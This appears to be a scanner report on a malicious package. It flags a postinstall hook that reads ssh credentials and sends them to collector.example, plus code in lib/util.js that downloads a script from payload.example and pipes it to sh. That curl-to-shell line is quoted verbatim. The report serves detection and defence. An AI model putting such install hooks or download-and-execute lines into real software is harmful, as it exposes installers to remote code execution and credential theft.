Install time exfiltration
scripts/postinstall.js:5 | At install time, cred_file data is sent to collector.example (scripts/postinstall.js:5). | Trigger: Executes automatically during package installation before you import or run the tool. |
Downloads and runs code
lib/util.js:2 | Downloads code from payload.example and runs it (lib/util.js:2). | Standard command: Runs a direct command with no encoded payloads, shell pipes, or credential file reads detected. |
Install time credential read
scripts/postinstall.js:3 | An install script reads ssh credentials (scripts/postinstall.js:3). | Trigger: Executes automatically during package installation before you import or run the tool. |
Runs decoded or downloaded code
lib/util.js:2 | Code that is decoded or downloaded at runtime gets executed (lib/util.js:2). | Standard command: Runs a direct command with no encoded payloads, shell pipes, or credential file reads detected. |
Decoded hidden payload
lib/util.js:1 | console.log('hi'); require('child_process').exec('curl https://payload.example/s|sh'); | Dynamic execution: Spawns an inline interpreter or child process to execute dynamically constructed code. · Network call: Contacts external host: payload[.]example. · Remote shell pipe: Pipes output directly into a system shell (sh/bash) for immediate execution. |
Install hook (postinstall)
package.json (postinstall) | node scripts/postinstall.js | Runs a script shipped in the package. |
Shell execution trace
lib/util.js:2 | curl https://payload.example/s|sh | Network call: Contacts external host: payload[.]example. · Remote shell pipe: Pipes output directly into a system shell (sh/bash) for immediate execution. |